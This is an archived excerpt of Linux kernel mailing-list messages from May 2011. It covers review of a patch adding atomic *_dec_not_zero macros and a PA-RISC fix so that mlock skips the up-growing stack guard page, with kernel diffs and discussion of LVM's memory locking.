the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Mon, 09 May 2011 08:15:39 +1000
Lines: 47
Approved: news@gmane.org
Message-ID: <1304892939.2513.503.camel@pasglop>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304892991 26215 80.91.229.12 (8 May 2011 22:16:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 8 May 2011 22:16:31 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-m68k-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
        linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Chris Metcalf <cmetcalf-kv+TWInifGbQT0dZR+AlfA@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Sven Eckelmann <sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon May 09 00:16:24 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1QJCH1-0002fF-Mr
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 09 May 2011 00:16:24 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p48MGCIB010858;
	Sun, 8 May 2011 18:16:13 -0400
Original-Received: from gate.crashing.org
	(IDENT:U2FsdGVkX1+KmXux2KVM5CgB9G5CqMS8AY6tMu8wrWs-JorI+TVEvZrY24RiXHRV3ti2O/JbrIOy@public.gmane.org
	[63.228.1.57])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p48MG1cZ010830 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Sun, 8 May 2011 18:16:07 -0400
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id p48MFfv7004073;
	Sun, 8 May 2011 17:15:42 -0500
In-Reply-To: <1304458235-28473-1-git-send-email-sven-KaDOiPu9UxWEi8DpZVb4nw@public.gmane.org>
X-Mailer: Evolution 2.30.3 
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5442 gmane.linux.kernel.cross-arch:9755 gmane.linux.ports.mips.general:30967 gmane.linux.ports.m68k:2310 gmane.linux.ports.ia64:21644 gmane.linux.ports.parisc:3698 gmane.linux.ports.sh.devel:10963 gmane.linux.kernel:1137020 gmane.linux.ports.alpha:1428 gmane.linux.ports.sparc:14867 gmane.linux.ports.ppc64.devel:74120 gmane.linux.ports.arm.kernel:116344
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5442>

On Tue, 2011-05-03 at 23:30 +0200, Sven Eckelmann wrote:
> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.

For arch/powerpc:

Acked-by: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>

(Sorry for catching up late)

Cheers,
Ben.

> diff --git a/arch/powerpc/include/asm/atomic.h b/arch/powerpc/include/asm/atomic.h
> index b8f152e..906f49a 100644
> --- a/arch/powerpc/include/asm/atomic.h
> +++ b/arch/powerpc/include/asm/atomic.h
> @@ -213,6 +213,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
>  }
>  
>  #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
> +#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
>  
>  #define atomic_sub_and_test(a, v)	(atomic_sub_return((a), (v)) == 0)
>  #define atomic_dec_and_test(v)		(atomic_dec_return((v)) == 0)
> @@ -469,6 +470,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
>  }
>  
>  #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
>  
>  #else  /* __powerpc64__ */
>  #include <asm-generic/atomic64.h>
> diff --git a/arch/powerpc/include/asm/local.h b/arch/powerpc/include/asm/local.h
> index c2410af..3d4c58a 100644
> --- a/arch/powerpc/include/asm/local.h
> +++ b/arch/powerpc/include/asm/local.h
> @@ -134,6 +134,7 @@ static __inline__ int local_add_unless(local_t *l, long a, long u)
>  }
>  
>  #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
> +#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
>  
>  #define local_sub_and_test(a, l)	(local_sub_return((a), (l)) == 0)
>  #define local_dec_and_test(l)		(local_dec_return((l)) == 0)

From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier.adi@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Sun, 8 May 2011 22:38:43 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <BANLkTim+z0mv7oXZHr0YnoxtfnoDZTEr9Q@mail.gmail.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
 <20110508092403.GB27807@n2100.arm.linux.org.uk> <201105081133.50824.sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1304908756 24623 80.91.229.12 (9 May 2011 02:39:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 02:39:16 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mips@linux-mips.org, linux-m32r@ml.linux-m32r.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-cris-kernel@axis.com, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, x86@kernel.org,
	Chris Metcalf <cmetcalf@tilera.com>,
	David Howells <dhowells@redhat.com>,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon May 09 04:39:09 2011
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1QJGNI-0000cv-0q
	for lnx-linux-alpha@lo.gmane.org; Mon, 09 May 2011 04:39:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756673Ab1EICjG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;lnx-linux-alpha@m.gmane.org>); Sun, 8 May 2011 22:39:06 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:49040 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756670Ab1EICjF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Sun, 8 May 2011 22:39:05 -0400
Original-Received: by ywj3 with SMTP id 3so1673857ywj.19
        for <multiple recipients>; Sun, 08 May 2011 19:39:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type:content-transfer-encoding;
        bh=mOuq4v7R023AdXjNGMJ4biLjdHg3N+1rr0eqQVDw27c=;
        b=LhH/RU1r++uhruCrWPjpkFruq6qfOTQ62YDVEVNHUZijEwKgyBZjQHFj8pz7/JSykX
         RdrsEKS2AiM+gH6+9O/CdczqT4eJDetQuB0zWwB60FreGB0mpukuQtpZ+1r0jpAN90Yj
         pm/AzprmZxShOMdRafk07SJ6a1KC1lK5M0wbc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=Ruui1TAcLSmfUpNcK2vttOebS/h7hGv3zMRS9MIEXZrzNVVZcTODO2AxyYHzhR+kJO
         UeXqBkPV9xaNvwRLwyiBb+C62TRIjUzdPoZ7F3QStK1XnMCe82hf/lERwZgSKfhQ4lmd
         U4WEw7BYE9LAu6ThJRyhIsGg0F1e33bXZorBQ=
Original-Received: by 10.90.226.18 with SMTP id y18mr5201051agg.142.1304908743154; Sun,
 08 May 2011 19:39:03 -0700 (PDT)
Original-Received: by 10.91.54.28 with HTTP; Sun, 8 May 2011 19:38:43 -0700 (PDT)
In-Reply-To: <201105081133.50824.sven@narfation.org>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1429 gmane.linux.kernel:1137161 gmane.linux.kernel.cross-arch:9756 gmane.linux.ports.mips.general:30968 gmane.linux.ports.ia64:21645 gmane.linux.ports.parisc:3699 gmane.linux.ports.sh.devel:10971 gmane.linux.ports.sparc:14869 gmane.linux.hardware.blackfin.kernel.devel:5444 gmane.linux.ports.ppc64.devel:74123 gmane.linux.ports.arm.kernel:116348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1429>

On Sun, May 8, 2011 at 05:33, Sven Eckelmann wrote:
> Russell King - ARM Linux wrote:
> [...]
>> Do we need atomic_dec_not_zero() et.al. in every arch header - is th=
ere no
>> generic header which it could be added to?
>
> Mike Frysinger already tried to answer it in
> <BANLkTimctgbto3dsnJ3d3r7NggS0KF9_Sw@mail.gmail.com>:
>> that's what asm-generic is for. =C2=A0if the arch isnt using it, it'=
s
>> either because the arch needs to convert to it, or they're using SMP
>> and asm-generic doesnt yet support that for atomic.h.
>>
>> for example, the Blackfin port only needed updating for the SMP case=
=2E
>> in the non-SMP case, we're getting the def from asm-generic/atomic.h=
=2E
>
> Feel free to change that but I just followed the style used by all ot=
her
> macros and will not redesign the complete atomic*.h idea.

what you're doing is currently correct.  i think merging SMP support
into asm-generic for atomic* will take a bit of pondering first.
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" =
in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 13:01:09 +0200 (CEST)
Lines: 182
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="1908654874-151666094-1304938869=:32299"
X-Trace: dough.gmane.org 1304938879 2741 80.91.229.12 (9 May 2011 11:01:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 11:01:19 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>,
	Oleg Nesterov <oleg@redhat.com>, agk@redhat.com
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 09 13:01:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJODA-0005Cq-No
	for glpp-linux-parisc@lo.gmane.org; Mon, 09 May 2011 13:01:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752192Ab1EILBL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 07:01:11 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:55964 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752161Ab1EILBL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 07:01:11 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id D89BB98097; Mon,  9 May 2011 13:01:09 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id D7A7298046;
	Mon,  9 May 2011 13:01:09 +0200 (CEST)
In-Reply-To: <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3700 gmane.linux.kernel:1137299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3700>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

--1908654874-151666094-1304938869=:32299
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT



On Sun, 8 May 2011, Linus Torvalds wrote:

> On Sun, May 8, 2011 at 11:55 AM, Mikulas Patocka
> <mikulas@artax.karlin.mff.cuni.cz> wrote:
> >
> > This patch fixes lvm2 on PA-RISC (and possibly other architectures with
> > up-growing stack). lvm2 calculates the number of used pages when locking
> > and when unlocking and reports an internal error if the numbers mismatch.
> 
> This patch won't apply on current kernels (including stable) because
> of commit a1fde08c74e9 that changed the test of "pages" to instead
> just test "flags & FOLL_MLOCK".
> 
> That should be trivial to fix up.
> 
> However, I really don't much like this complex test:
> 
> > static inline int stack_guard_page(struct vm_area_struct *vma, unsigned long addr)
> > {
> > -    return (vma->vm_flags & VM_GROWSDOWN) &&
> > +    return ((vma->vm_flags & VM_GROWSDOWN) &&
> >        (vma->vm_start == addr) &&
> > -        !vma_stack_continue(vma->vm_prev, addr);
> > +        !vma_stack_continue(vma->vm_prev, addr)) ||
> > +       ((vma->vm_flags & VM_GROWSUP) &&
> > +        (vma->vm_end == addr + PAGE_SIZE) &&
> > +        !vma_stack_growsup_continue(vma->vm_next, addr + PAGE_SIZE));
> > }
> 
> in that format. It gets really hard to read, and I think you'd be
> better off writing it as two helper functions (or macros) for the two
> cases, and then have
> 
>   static inline int stack_guard_page(struct vm_area_struct *vma,
> unsigned long addr)
>   {
>     return stack_guard_page_growsdown(vma, addr) ||
>       stack_guard_page_growsup(vma, addr);
>   }
> 
> I'd also like to verify that it doesn't actually generate any extra
> code for the common case (iirc VM_GROWSUP is 0 for the architectures
> that don't need it, and so the compiler shouldn't generate any extra
> code, but I'd like that mentioned and verified explicitly).
> 
> Hmm?
> 
> Other than that it looks ok to me.
> 
> That said, could we please fix LVM to not do that crazy sh*t in the
> first place? The STACK_GROWSUP case is never going to have a lot of
> testing, this is just sad.

LVM reads process maps from /proc/self/maps and locks them with mlock.

Why it doesn't use mlockall()? Because glibc maps all locales to the 
process. Glibc packs all locales to a 100MB file and maps that file to 
every process. Even if the process uses just one locale, glibc maps all.

So, when LVM used mlockall, it consumed >100MB memory and it caused 
out-of-memory problems in system installers.

So, alternate way of locking was added to LVM --- read all maps and lock 
them, except for the glibc locale file.

The real fix would be to fix glibc not to map 100MB to every process.

>                    Linus
> 

This is updated patch. I tested it on x86-64 and it doesn't change 
generated code.

Mikulas

---

Don't lock guardpage if the stack is growing up

Linux kernel excludes guard page when performing mlock on a VMA with
down-growing stack. However, some architectures have up-growing stack
and locking the guard page should be excluded in this case too.

This patch fixes lvm2 on PA-RISC (and possibly other architectures with
up-growing stack). lvm2 calculates number of used pages when locking and
when unlocking and reports an internal error if the numbers mismatch.

Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>

---
 include/linux/mm.h |   10 +++++++++-
 mm/memory.c        |   21 ++++++++++++++++++---
 2 files changed, 27 insertions(+), 4 deletions(-)

Index: linux-2.6/include/linux/mm.h
===================================================================
--- linux-2.6.orig/include/linux/mm.h	2011-05-09 12:33:50.000000000 +0200
+++ linux-2.6/include/linux/mm.h	2011-05-09 12:42:05.000000000 +0200
@@ -1011,11 +1011,19 @@ int set_page_dirty_lock(struct page *pag
 int clear_page_dirty_for_io(struct page *page);
 
 /* Is the vma a continuation of the stack vma above it? */
-static inline int vma_stack_continue(struct vm_area_struct *vma, unsigned long addr)
+static inline int vma_stack_growsdown_continue(struct vm_area_struct *vma,
+					       unsigned long addr)
 {
 	return vma && (vma->vm_end == addr) && (vma->vm_flags & VM_GROWSDOWN);
 }
 
+/* Is the vma a continuation of the stack vma below it? */
+static inline int vma_stack_growsup_continue(struct vm_area_struct *vma,
+					     unsigned long addr)
+{
+	return vma && (vma->vm_start == addr) && (vma->vm_flags & VM_GROWSUP);
+}
+
 extern unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len);
Index: linux-2.6/mm/memory.c
===================================================================
--- linux-2.6.orig/mm/memory.c	2011-05-09 12:33:51.000000000 +0200
+++ linux-2.6/mm/memory.c	2011-05-09 12:41:38.000000000 +0200
@@ -1410,11 +1410,21 @@ no_page_table:
 	return page;
 }
 
-static inline int stack_guard_page(struct vm_area_struct *vma, unsigned long addr)
+static inline int stack_guard_page_growsdown(struct vm_area_struct *vma,
+					     unsigned long addr)
 {
 	return (vma->vm_flags & VM_GROWSDOWN) &&
 		(vma->vm_start == addr) &&
-		!vma_stack_continue(vma->vm_prev, addr);
+		!vma_stack_growsdown_continue(vma->vm_prev, addr);
+}
+
+
+static inline int stack_guard_page_growsup(struct vm_area_struct *vma,
+					   unsigned long addr)
+{
+	return (vma->vm_flags & VM_GROWSUP) &&
+		(vma->vm_end == addr + PAGE_SIZE) &&
+		!vma_stack_growsup_continue(vma->vm_next, addr + PAGE_SIZE);
 }
 
 /**
@@ -1554,13 +1564,18 @@ int __get_user_pages(struct task_struct 
 		/*
 		 * For mlock, just skip the stack guard page.
 		 */
-		if ((gup_flags & FOLL_MLOCK) && stack_guard_page(vma, start))
+		if ((gup_flags & FOLL_MLOCK) &&
+		    stack_guard_page_growsdown(vma, start))
 			goto next_page;
 
 		do {
 			struct page *page;
 			unsigned int foll_flags = gup_flags;
 
+			if ((gup_flags & FOLL_MLOCK) &&
+			    stack_guard_page_growsup(vma, start))
+				goto next_page;
+
 			/*
 			 * If we have a pending SIGKILL, don't keep faulting
 			 * pages and potentially allocating memory.
--1908654874-151666094-1304938869=:32299--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 13:12:24 +0200 (CEST)
Lines: 47
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <alpine.LSU.2.00.1105081303540.16151@sister.anvils>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1304939552 6588 80.91.229.12 (9 May 2011 11:12:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 11:12:32 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>
To: Hugh Dickins <hughd@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 09 13:12:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJOO3-0001d0-23
	for glpp-linux-parisc@lo.gmane.org; Mon, 09 May 2011 13:12:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752220Ab1EILM0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 07:12:26 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:36237 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751862Ab1EILMZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 07:12:25 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id C3205980B6; Mon,  9 May 2011 13:12:24 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id C2495980B4;
	Mon,  9 May 2011 13:12:24 +0200 (CEST)
In-Reply-To: <alpine.LSU.2.00.1105081303540.16151@sister.anvils>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3701 gmane.linux.kernel:1137305
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3701>

On Sun, 8 May 2011, Hugh Dickins wrote:

> On Sun, 8 May 2011, Mikulas Patocka wrote:
> 
> > Don't mlock guardpage if the stack is growing up
> > 
> > Linux kernel excludes guard page when performing mlock on a VMA with 
> > down-growing stack. However, some architectures have up-growing stack and 
> > locking the guard page should be excluded in this case too.
> > 
> > This patch fixes lvm2 on PA-RISC (and possibly other architectures with 
> > up-growing stack). lvm2 calculates the number of used pages when locking 
> > and when unlocking and reports an internal error if the numbers mismatch. 
> > On PA-RISC, the kernel would incorrectly attempt to mlock the stack guard 
> > page, this causes allocation of one more page and internal error in lvm2.
> > 
> > Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
> 
> Interesting, I'd convinced myself that the growsup case was safe,
> because of how we always approach the vma from its bottom end.
> 
> I've added Michel to the Cc, he's the one with the best grasp here.
> 
> Could you point us to where lvm2 is making these calculations?
> I don't understand quite what it's doing.
> 
> Thanks,
> Hugh

See ./lib/mm/memlock.c in LVM2. It reads /proc/self/maps, parses the file 
and locks each map with mlock, except for glibc locale file.

It calculates how much memory it took when locking and unlocking and 
prints an internal error if the numbers differ. The internal error 
normally means that there was some memory allocated while it was locked 
(that is wrong).

However, on up-growing stack, the internal error is always triggered, 
because mlock() of the stack touches the guard page and allocates one more 
page.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zdenek Kabelac <zkabelac@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 09 May 2011 13:43:59 +0200
Organization: Red Hat
Lines: 91
Approved: news@gmane.org
Message-ID: <4DC7D37F.9040308@redhat.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
